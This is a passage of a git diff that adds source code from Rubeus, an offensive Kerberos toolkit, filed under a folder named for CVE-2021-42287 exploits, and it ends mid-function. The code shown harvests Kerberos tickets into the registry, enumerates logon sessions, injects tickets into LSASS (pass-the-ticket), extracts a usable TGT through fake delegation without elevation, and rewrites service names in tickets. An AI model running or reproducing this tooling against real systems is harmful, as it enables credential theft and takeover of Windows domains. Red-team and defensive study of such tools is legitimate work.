sure the appropriate ACLs are set + Registry.LocalMachine.CreateSubKey(baseRegistryKey); + basePath = Registry.LocalMachine.OpenSubKey(baseRegistryKey, RegistryKeyPermissionCheck.ReadWriteSubTree); + var rs = basePath.GetAccessControl(); + var rar = new RegistryAccessRule( + user, + RegistryRights.FullControl, + InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, + PropagationFlags.None, + AccessControlType.Allow); + rs.AddAccessRule(rar); + basePath.SetAccessControl(rs); + } + catch + { + Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", baseRegistryKey); + basePath = null; + } + if (basePath != null) + { + foreach (var cred in creds) + { + var userName = cred.enc_part.ticket_info[0].pname.name_string[0]; + var domainName = cred.enc_part.ticket_info[0].prealm; + var startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime); + var endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime); + var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till); + var flags = cred.enc_part.ticket_info[0].flags; + var base64TGT = Convert.ToBase64String(cred.Encode().Encode()); + + var userData = basePath.CreateSubKey(userName + "@" + domainName); + + // Create the keys underneath this + userData.SetValue("Username", domainName + "\\" + userName); + userData.SetValue("StartTime", startTime); + userData.SetValue("EndTime", endTime); + userData.SetValue("RenewTill", renewTill); + userData.SetValue("Flags", flags); + userData.SetValue("Base64EncodedTicket", base64TGT); + } + Console.WriteLine("\r\n[*] Wrote {0} tickets to HKLM:\\{1}.", creds.Count, baseRegistryKey); + } + } + + #endregion + + + #region LogonSessions + + public static List EnumerateLogonSessions() + { + // returns a List of LUIDs representing current logon sessions + var luids = new List(); + + if (!Helpers.IsHighIntegrity()) + { + luids.Add(Helpers.GetCurrentLUID()); + } + + else + { + var ret = Interop.LsaEnumerateLogonSessions(out var count, out var luidPtr); + + if (ret != 0) + { + throw new Win32Exception(ret); + } + + for (ulong i = 0; i < count; i++) + { + var luid = (LUID)Marshal.PtrToStructure(luidPtr, typeof(LUID)); + luids.Add(luid); + luidPtr = (IntPtr)(luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); + } + Interop.LsaFreeReturnBuffer(luidPtr); + } + + return luids; + } + + public class LogonSessionData + { + public LUID LogonID; + public string Username; + public string LogonDomain; + public string AuthenticationPackage; + public Interop.LogonType LogonType; + public int Session; + public SecurityIdentifier Sid; + public DateTime LogonTime; + public string LogonServer; + public string DnsDomainName; + public string Upn; + } + + public static LogonSessionData GetLogonSessionData(LUID luid) + { + // gets additional logon session information for a given LUID + + var luidPtr = IntPtr.Zero; + var sessionDataPtr = IntPtr.Zero; + + try + { + luidPtr = Marshal.AllocHGlobal(Marshal.SizeOf(luid)); + Marshal.StructureToPtr(luid, luidPtr, false); + + var ret = Interop.LsaGetLogonSessionData(luidPtr, out sessionDataPtr); + if (ret != 0) + { + throw new Win32Exception((int)ret); + } + + var unsafeData = + (Interop.SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionDataPtr, + typeof(Interop.SECURITY_LOGON_SESSION_DATA)); + + return new LogonSessionData() + { + AuthenticationPackage = Marshal.PtrToStringUni(unsafeData.AuthenticationPackage.Buffer, unsafeData.AuthenticationPackage.Length / 2), + DnsDomainName = Marshal.PtrToStringUni(unsafeData.DnsDomainName.Buffer, unsafeData.DnsDomainName.Length / 2), + LogonDomain = Marshal.PtrToStringUni(unsafeData.LoginDomain.Buffer, unsafeData.LoginDomain.Length / 2), + LogonID = unsafeData.LoginID, + LogonTime = DateTime.FromFileTime((long)unsafeData.LoginTime), + //LogonTime = systime.AddTicks((long)unsafeData.LoginTime), + LogonServer = Marshal.PtrToStringUni(unsafeData.LogonServer.Buffer, unsafeData.LogonServer.Length / 2), + LogonType = (Interop.LogonType)unsafeData.LogonType, + Sid = (unsafeData.PSiD == IntPtr.Zero ? null : new SecurityIdentifier(unsafeData.PSiD)), + Upn = Marshal.PtrToStringUni(unsafeData.Upn.Buffer, unsafeData.Upn.Length / 2), + Session = (int)unsafeData.Session, + Username = Marshal.PtrToStringUni(unsafeData.Username.Buffer, unsafeData.Username.Length / 2), + }; + } + finally + { + if (sessionDataPtr != IntPtr.Zero) + Interop.LsaFreeReturnBuffer(sessionDataPtr); + + if (luidPtr != IntPtr.Zero) + Marshal.FreeHGlobal(luidPtr); + } + } + + #endregion + + + #region Import and Export + + public static void ImportTicket(byte[] ticket, LUID targetLuid) + { + // uses LsaCallAuthenticationPackage() with a message type of KERB_SUBMIT_TKT_REQUEST to submit a ticket + // for the current (or specified) logon session + + // straight from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971 + + var LsaHandle = IntPtr.Zero; + int AuthenticationPackage; + int ntstatus, ProtocalStatus; + + if ((ulong)targetLuid != 0) + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session"); + return; + } + else + { + if (Helpers.IsSystem()) + { + // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper + LsaHandle = LsaRegisterLogonProcessHelper(); + } + else + { + // elevated but not system, so gotta GetSystem() first + Helpers.GetSystem(); + // should now have the proper privileges to get a Handle to LSA + LsaHandle = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + Interop.RevertToSelf(); + } + } + } + else + { + // otherwise use the unprivileged connection with LsaConnectUntrusted + ntstatus = Interop.LsaConnectUntrusted(out LsaHandle); + } + + var inputBuffer = IntPtr.Zero; + IntPtr ProtocolReturnBuffer; + int ReturnBufferLength; + try + { + Interop.LSA_STRING_IN LSAString; + var Name = "kerberos"; + LSAString.Length = (ushort)Name.Length; + LSAString.MaximumLength = (ushort)(Name.Length + 1); + LSAString.Buffer = Name; + ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + var request = new Interop.KERB_SUBMIT_TKT_REQUEST(); + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage; + request.KerbCredSize = ticket.Length; + request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)); + + if ((ulong)targetLuid != 0) + { + Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); + request.LogonId = targetLuid; + } + + var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length; + inputBuffer = Marshal.AllocHGlobal(inputBufferSize); + Marshal.StructureToPtr(request, inputBuffer, false); + Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length); + ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + if (ProtocalStatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocalStatus): {1}", winError, errorMessage); + return; + } + Console.WriteLine("[+] Ticket successfully imported!"); + } + finally + { + if (inputBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(inputBuffer); + Interop.LsaDeregisterLogonProcess(LsaHandle); + } + } + + public static void Purge(LUID targetLuid) + { + // uses LsaCallAuthenticationPackage() with a message type of KERB_PURGE_TKT_CACHE_REQUEST to purge tickets + // for the current (or specified) logon session + + // straight from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971 + + var lsaHandle = GetLsaHandle(); + int AuthenticationPackage; + int ntstatus, ProtocalStatus; + + if ((ulong)targetLuid != 0) + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to purge tickets from a different logon session"); + return; + } + + } + + var inputBuffer = IntPtr.Zero; + IntPtr ProtocolReturnBuffer; + int ReturnBufferLength; + try + { + Interop.LSA_STRING_IN LSAString; + var Name = "kerberos"; + LSAString.Length = (ushort)Name.Length; + LSAString.MaximumLength = (ushort)(Name.Length + 1); + LSAString.Buffer = Name; + ntstatus = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out AuthenticationPackage); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + + var request = new Interop.KERB_PURGE_TKT_CACHE_REQUEST(); + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage; + + if ((ulong)targetLuid != 0) + { + Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); + request.LogonId = targetLuid; + } + + var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_PURGE_TKT_CACHE_REQUEST)); + inputBuffer = Marshal.AllocHGlobal(inputBufferSize); + Marshal.StructureToPtr(request, inputBuffer, false); + ntstatus = Interop.LsaCallAuthenticationPackage(lsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + if (ProtocalStatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocolStatus): {1}", winError, errorMessage); + return; + } + Console.WriteLine("[+] Tickets successfully purged!"); + } + finally + { + if (inputBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(inputBuffer); + Interop.LsaDeregisterLogonProcess(lsaHandle); + } + } + + #endregion + + + #region Misc Helpers + + public static byte[] GetEncryptionKeyFromCache(string target, Interop.KERB_ETYPE etype) + { + // gets the cached session key for a given service ticket + // used by RequestFakeDelegTicket() + + int authPack; + IntPtr lsaHandle; + int retCode; + var name = "kerberos"; + byte[] returnedSessionKey; + Interop.LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + retCode = Interop.LsaConnectUntrusted(out lsaHandle); + retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + var returnBufferLength = 0; + var protocalStatus = 0; + var responsePointer = IntPtr.Zero; + var request = new Interop.KERB_RETRIEVE_TKT_REQUEST(); + var response = new Interop.KERB_RETRIEVE_TKT_RESPONSE(); + + // signal that we want encoded .kirbi's returned + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage; + request.CacheOptions = (uint)Interop.KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_USE_CACHE_ONLY; + request.EncryptionType = (int)etype; + + // target SPN to fake delegation for + var tName = new Interop.UNICODE_STRING(target); + request.TargetName = tName; + + // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST + // for KerbRetrieveEncodedTicketMessages + + // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len + var structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST)); + var newStructSize = structSize + tName.MaximumLength; + var unmanagedAddr = Marshal.AllocHGlobal(newStructSize); + + // marshal the struct from a managed object to an unmanaged block of memory. + Marshal.StructureToPtr(request, unmanagedAddr, false); + + // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST + var newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize)); + + // copy unicode chars to the new location + Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); + + // update the target name buffer ptr + Marshal.WriteIntPtr(unmanagedAddr, IntPtr.Size == 8 ? 24 : 16, newTargetNameBuffPtr); + + // actually get the data + retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus); + + // translate the LSA error (if any) to a Windows error + var winError = Interop.LsaNtStatusToWinError((uint)protocalStatus); + + if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0)) + { + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); + + // extract the session key + var sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType; + var sessionKeyLength = response.Ticket.SessionKey.Length; + var sessionKey = new byte[sessionKeyLength]; + Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); + + returnedSessionKey = sessionKey; + } + else + { + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, target, errorMessage); + returnedSessionKey = null; + } + + // clean up + Interop.LsaFreeReturnBuffer(responsePointer); + Marshal.FreeHGlobal(unmanagedAddr); + + // disconnect from LSA + Interop.LsaDeregisterLogonProcess(lsaHandle); + + return returnedSessionKey; + } + + public static byte[] RequestFakeDelegTicket(string targetSPN = "", bool display = true) + { + // requests a ticket to 'cifs/dc.domain.com', which *should* be configured for unconstrained delegation + // the AP-REQ and associated forwarded TGT for the current user is carved out of GSS-API, so we get + // a usable TGT for the current user, without elevation + + byte[] finalTGTBytes = null; + + if (String.IsNullOrEmpty(targetSPN)) + { + if (display) + { + Console.WriteLine("[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'"); + } + // try to get the current domain and domain controller + var domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + var domainController = Networking.GetDCName(domain); + if (String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[X] Error retrieving current domain controller"); + return null; + } + targetSPN = String.Format("cifs/{0}", domainController); + } + + var phCredential = new Interop.SECURITY_HANDLE(); + var ptsExpiry = new Interop.SECURITY_INTEGER(); + var SECPKG_CRED_OUTBOUND = 2; + + // first get a handle to the Kerberos package + var status = Interop.AcquireCredentialsHandle(null, "Kerberos", SECPKG_CRED_OUTBOUND, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref phCredential, ref ptsExpiry); + + if (status == 0) + { + var ClientToken = new Interop.SecBufferDesc(12288); + var ClientContext = new Interop.SECURITY_HANDLE(0); + uint ClientContextAttributes = 0; + var ClientLifeTime = new Interop.SECURITY_INTEGER(0); + var SECURITY_NATIVE_DREP = 0x00000010; + var SEC_E_OK = 0x00000000; + var SEC_I_CONTINUE_NEEDED = 0x00090312; + + if (display) + { + Console.WriteLine("[*] Initializing Kerberos GSS-API w/ fake delegation for target '{0}'", targetSPN); + } + + // now initialize the fake delegate ticket for the specified targetname (default cifs/DC.domain.com) + var status2 = Interop.InitializeSecurityContext(ref phCredential, + IntPtr.Zero, + targetSPN, // null string pszTargetName, + (int)(Interop.ISC_REQ.ALLOCATE_MEMORY | Interop.ISC_REQ.DELEGATE | Interop.ISC_REQ.MUTUAL_AUTH), + 0, //int Reserved1, + SECURITY_NATIVE_DREP, //int TargetDataRep + IntPtr.Zero, //Always zero first time around... + 0, //int Reserved2, + out ClientContext, //pHandle CtxtHandle = SecHandle + out ClientToken, //ref SecBufferDesc pOutput, //PSecBufferDesc + out ClientContextAttributes, //ref int pfContextAttr, + out ClientLifeTime); //ref IntPtr ptsExpiry ); //PTimeStamp + + if ((status2 == SEC_E_OK) || (status2 == SEC_I_CONTINUE_NEEDED)) + { + if (display) + { + Console.WriteLine("[+] Kerberos GSS-API initialization success!"); + } + + if ((ClientContextAttributes & (uint)Interop.ISC_REQ.DELEGATE) == 1) + { + if (display) + { + Console.WriteLine("[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output."); + } + + // the fake delegate AP-REQ ticket is now in the cache! + + // the Kerberos OID to search for in the output stream + // from Kekeo -> https://github.com/gentilkiwi/kekeo/blob/master/kekeo/modules/kuhl_m_tgt.c#L329-L345 + byte[] KeberosV5 = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 }; // 1.2.840.113554.1.2.2 + var ClientTokenArray = ClientToken.GetSecBufferByteArray(); + var index = Helpers.SearchBytePattern(KeberosV5, ClientTokenArray); + if (index > 0) + { + var startIndex = index += KeberosV5.Length; + + // check if the first two bytes == TOK_ID_KRB_AP_REQ + if ((ClientTokenArray[startIndex] == 1) && (ClientTokenArray[startIndex + 1] == 0)) + { + if (display) + { + Console.WriteLine("[*] Found the AP-REQ delegation ticket in the GSS-API output."); + } + + startIndex += 2; + var apReqArray = new byte[ClientTokenArray.Length - startIndex]; + Buffer.BlockCopy(ClientTokenArray, startIndex, apReqArray, 0, apReqArray.Length); + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + var asn_AP_REQ = AsnElt.Decode(apReqArray, false); + + foreach (var elt in asn_AP_REQ.Sub[0].Sub) + { + if (elt.TagValue == 4) + { + // build the encrypted authenticator + var encAuthenticator = new EncryptedData(elt.Sub[0]); + var authenticatorEtype = (Interop.KERB_ETYPE)encAuthenticator.etype; + if (display) + { + Console.WriteLine("[*] Authenticator etype: {0}", authenticatorEtype); + } + + // grab the service ticket session key from the local cache + var key = GetEncryptionKeyFromCache(targetSPN, authenticatorEtype); + + if (key != null) + { + var base64SessionKey = Convert.ToBase64String(key); + if (display) + { + Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey); + } + + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11 + var rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, key, encAuthenticator.cipher); + + var asnAuthenticator = AsnElt.Decode(rawBytes, false); + + foreach (var elt2 in asnAuthenticator.Sub[0].Sub) + { + if (elt2.TagValue == 3) + { + if (display) + { + Console.WriteLine("[+] Successfully decrypted the authenticator"); + } + + var cksumtype = Convert.ToInt32(elt2.Sub[0].Sub[0].Sub[0].GetInteger()); + + // check if cksumtype == GSS_CHECKSUM_TYPE + if (cksumtype == 0x8003) + { + var checksumBytes = elt2.Sub[0].Sub[1].Sub[0].GetOctetString(); + + // check if the flags include GSS_C_DELEG_FLAG + if ((checksumBytes[20] & 1) == 1) + { + var dLen = BitConverter.ToUInt16(checksumBytes, 26); + var krbCredBytes = new byte[dLen]; + // copy out the krbCredBytes from the checksum structure + Buffer.BlockCopy(checksumBytes, 28, krbCredBytes, 0, dLen); + + var asn_KRB_CRED = AsnElt.Decode(krbCredBytes, false); + Ticket ticket = null; + var cred = new KRB_CRED(); + + foreach (var elt3 in asn_KRB_CRED.Sub[0].Sub) + { + if (elt3.TagValue == 2) + { + // extract the TGT and add it to the KRB-CRED + ticket = new Ticket(elt3.Sub[0].Sub[0].Sub[0]); + cred.tickets.Add(ticket); + } + else if (elt3.TagValue == 3) + { + var enc_part = elt3.Sub[0].Sub[1].GetOctetString(); + + // KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14 + var rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, key, enc_part); + + // decode the decrypted plaintext enc par and add it to our final cred object + var encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false); + cred.enc_part.ticket_info.Add(new KrbCredInfo(encKrbCredPartAsn.Sub[0].Sub[0].Sub[0].Sub[0])); + } + } + + var kirbiBytes = cred.Encode().Encode(); + var kirbiString = Convert.ToBase64String(kirbiBytes); + + if (display) + { + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (var line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + } + + finalTGTBytes = kirbiBytes; + } + } + else + { + Console.WriteLine("[X] Error: Invalid checksum type: {0}", cksumtype); + } + } + } + } + else + { + Console.WriteLine("[X] Error: Unable to extract session key from cache for target SPN: {0}", targetSPN); + } + } + } + } + else + { + Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!"); + } + } + else + { + Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!"); + } + } + else + { + Console.WriteLine("[X] Error: Client is not allowed to delegate to target: {0}", targetSPN); + } + } + else + { + Console.WriteLine("[X] Error: InitializeSecurityContext error: {0}", status2); + } + // cleanup 1 + Interop.DeleteSecurityContext(ref ClientContext); + } + else + { + Console.WriteLine("[X] Error: AcquireCredentialsHandle error: {0}", status); + } + + // cleanup 2 + Interop.FreeCredentialsHandle(ref phCredential); + return finalTGTBytes; + } + + public static void SubstituteTGSSname(KRB_CRED kirbi, string altsname, bool ptt = false, LUID luid = new LUID()) + { + // subtitutes in an alternate servicename (sname) into a supplied service ticket + + Console.WriteLine("[*] Substituting in alternate service name: {0}", altsname); + + var name_string = new List(); + var parts = altsname.Split('/'); + if (parts.Length == 1) + { + // sname alone + kirbi.tickets[0].sname.name_string[0] = parts[0]; // ticket itself + kirbi.enc_part.ticket_info[0].sname.name_string[0] = parts[0]; // enc_part of the .kirbi + } + else if (parts.Length == 2) + { + name_string.Add(parts[0]); + name_string.Add(parts[1]); + + kirbi.tickets[0].sname.name_string = name_string; // ticket itself + kirbi.enc_part.ticket_info[0].sname.name_string = name_string; // enc_part of the .kirbi + } + + var kirbiBytes = kirbi.Encode().Encode(); + + LSA.DisplayTicket(kirbi, 2, false, true); + + // TODO: check this code! + + //var kirbiString = Convert.ToBase64String(kirbiBytes); + + //Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + //// display the .kirbi base64, columns of 80 chararacters + //foreach (var line in Helpers.Split(kirbiString, 80)) + //{ + // Console.WriteLine(" {0}", line); + //} + + //DisplayTicket(kirbi, false); + + if (ptt || ((ulong)luid != 0)) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, luid); + } + } + + #endregion + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Networking.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Networking.cs new file mode 100644 index 0000000..ab8faae --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Networking.cs @@ -0,0 +1,562 @@ +using System; +using System.ComponentModel; +using System.DirectoryServices; +using System.DirectoryServices.Protocols; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using System.Collections.Generic; +using System.Threading; +using SearchScope = System.DirectoryServices.Protocols.SearchScope; +using System.IO; +using System.Linq; + +namespace Rubeus +{ + public class Networking + { + public static string GetDCName(string domainName = "") + { + // retrieves the current domain controller name + + // adapted from https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname + Interop.DOMAIN_CONTROLLER_INFO domainInfo; + const int ERROR_SUCCESS = 0; + IntPtr pDCI = IntPtr.Zero; + + int val = Interop.DsGetDcName("", domainName, 0, "", + Interop.DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED | + Interop.DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME | + Interop.DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI); + + if (ERROR_SUCCESS == val) { + domainInfo = (Interop.DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(Interop.DOMAIN_CONTROLLER_INFO)); + string dcName = domainInfo.DomainControllerName; + Interop.NetApiBufferFree(pDCI); + return dcName.Trim('\\'); + } + else { + try { + string pdc = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().PdcRoleOwner.Name; + return pdc; + } + catch { + string errorMessage = new Win32Exception((int)val).Message; + Console.WriteLine("\r\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage); + Interop.NetApiBufferFree(pDCI); + return ""; + } + } + } + + public static string GetDCIP(string DCName, bool display = true, string domainName = "") + { + if (String.IsNullOrEmpty(DCName)) + { + DCName = GetDCName(domainName); + } + Match match = Regex.Match(DCName, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + if (display) + { + Console.WriteLine("[*] Using domain controller: {0}", DCName); + } + return DCName; + } + else + { + try + { + // If we call GetHostAddresses with an empty string, it will return IP addresses for localhost instead of DC + if (String.IsNullOrEmpty(DCName)) + { + Console.WriteLine("[X] Error: No domain controller could be located"); + return null; + } + System.Net.IPAddress[] dcIPs = System.Net.Dns.GetHostAddresses(DCName); + + foreach (System.Net.IPAddress dcIP in dcIPs) + { + if (dcIP.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork || dcIP.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + { + if (display) + { + Console.WriteLine("[*] Using domain controller: {0} ({1})", DCName, dcIP); + } + return String.Format("{0}", dcIP); + } + } + Console.WriteLine("[X] Error resolving hostname '{0}' to an IP address: no IPv4 or IPv6 address found", DCName); + return null; + } + catch (Exception e) + { + Console.WriteLine("[X] Error resolving hostname '{0}' to an IP address: {1}", DCName, e.Message); + return null; + } + } + } + + public static string GetDCNameFromIP(string IP) + { + Match match = Regex.Match(IP, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); + if (match.Success) + { + try + { + System.Net.IPHostEntry DC = System.Net.Dns.GetHostEntry(IP); + return DC.HostName; + } + catch (Exception e) + { + Console.WriteLine("[X] Error resolving IP address '{0}' to a name: {1}", IP, e.Message); + return null; + } + } + return IP; + } + + public static byte[] SendBytes(string server, int port, byte[] data) + { + var ipEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port); + try + { + using (System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(ipEndPoint.AddressFamily)) { + + // connect to the server over The specified port + client.Client.Ttl = 128; + client.Connect(ipEndPoint); + BinaryReader socketReader = new BinaryReader(client.GetStream()); + BinaryWriter socketWriter = new BinaryWriter(client.GetStream()); + + socketWriter.Write(System.Net.IPAddress.HostToNetworkOrder(data.Length)); + socketWriter.Write(data); + + int recordMark = System.Net.IPAddress.NetworkToHostOrder(socketReader.ReadInt32()); + int recordSize = recordMark & 0x7fffffff; + + if((recordMark & 0x80000000) > 0) { + Console.WriteLine("[X] Unexpected reserved bit set on response record mark from Domain Controller {0}:{1}, aborting", server, port); + return null; + } + + byte[] responseRecord = socketReader.ReadBytes(recordSize); + + if(responseRecord.Length != recordSize) { + Console.WriteLine("[X] Incomplete record received from Domain Controller {0}:{1}, aborting", server, port); + return null; + } + + return responseRecord; + } + } + catch (System.Net.Sockets.SocketException e) + { + if (e.SocketErrorCode == System.Net.Sockets.SocketError.TimedOut) { + Console.WriteLine("[X] Error connecting to {0}:{1} : {2}", server, port, e.Message); + } else { + Console.WriteLine("[X] Failed to get response from Domain Controller {0}:{1} : {2}", server, port, e.Message); + } + + }catch(FormatException fe) { + Console.WriteLine("[X] Error parsing IP address {0} : {1}", server, fe.Message); + } + + return null; + } + + public static DirectoryEntry GetLdapSearchRoot(System.Net.NetworkCredential cred, string OUName, string domainController, string domain) + { + DirectoryEntry directoryObject = null; + string ldapPrefix = ""; + string ldapOu = ""; + + //If we have a DC then use that instead of the domain name so that this works if user doesn't have + //name resolution working but specified the IP of a DC + if (!String.IsNullOrEmpty(domainController)) + { + ldapPrefix = domainController; + } + else if (!String.IsNullOrEmpty(domain)) //If we don't have a DC then use the domain name (if we have one) + { + ldapPrefix = domain; + } + else if (cred != null) //If we don't have a DC or a domain name but have credentials, get domain name from them + { + ldapPrefix = cred.Domain; + } + + if (!String.IsNullOrEmpty(OUName)) + { + ldapOu = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); + } + else if (!String.IsNullOrEmpty(domain)) + { + ldapOu = String.Format("DC={0}", domain.Replace(".", ",DC=")); + } + + //If no DC, domain, credentials, or OU were specified + if (String.IsNullOrEmpty(ldapPrefix) && String.IsNullOrEmpty(ldapOu)) + { + directoryObject = new DirectoryEntry(); + + } + else //If we have a prefix (DC or domain), an OU path, or both + { + string bindPath = ""; + if (!String.IsNullOrEmpty(ldapPrefix)) + { + bindPath = String.Format("LDAP://{0}", ldapPrefix); + } + if (!String.IsNullOrEmpty(ldapOu)) + { + if (!String.IsNullOrEmpty(bindPath)) + { + bindPath = String.Format("{0}/{1}", bindPath, ldapOu); + } + else + { + bindPath = String.Format("LDAP://{0}", ldapOu); + } + } + + directoryObject = new DirectoryEntry(bindPath); + } + + if (cred != null) + { + // if we're using alternate credentials for the connection + string userDomain = 